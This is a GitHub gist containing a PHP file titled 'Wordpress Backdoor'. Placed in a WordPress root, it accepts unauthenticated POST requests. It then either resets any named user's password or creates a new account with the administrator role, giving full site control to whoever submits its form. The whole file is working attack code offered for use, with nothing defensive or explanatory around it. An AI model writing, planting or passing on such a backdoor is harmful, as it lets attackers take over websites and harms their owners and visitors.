-
-
Save bryanwillis/4ac44d21809ef9df5cc2 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| require_once( dirname(__FILE__) . '/wp-load.php' ); | |
| require_once( ABSPATH . WPINC . '/registration.php' ); | |
| require_once( ABSPATH . '/wp-includes/pluggable.php' ); | |
| require_once( ABSPATH . '/wp-includes/general-template.php' ); | |
| require_once( ABSPATH . '/wp-includes/capabilities.php' ); | |
| if ($_POST) { | |
| if ($user = get_userdatabylogin($_REQUEST['username'])) { // FIXME: doesn't work | |
| wp_update_user(array("ID" => $user->ID, "user_pass" => $_REQUEST['password'])); | |
| } else { | |
| $uid = wp_create_user($_REQUEST['username'], $_REQUEST['password'], $_REQUEST['email']); | |
| $user = new WP_User($uid); | |
| $user->set_role('administrator'); | |
| } | |
| wp_redirect(wp_login_url()); | |
| exit(); | |
| } | |
| ?> | |
| <html> | |
| <head> | |
| <title>Wordpress Backdoor</title> | |
| </head> | |
| <body> | |
| <form method="POST"> | |
| <p><label for="username">Username:</label> <input type="text" name="username" /></p> | |
| <p><label for="password">Password:</label> <input type="text" name="password" /></p> | |
| <p><label for="email">Email:</label> <input type="text" name="email" /></p> | |
| <p><input type="submit" value="Create User" /></p> | |
| </form> | |
| </body> | |
| </html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment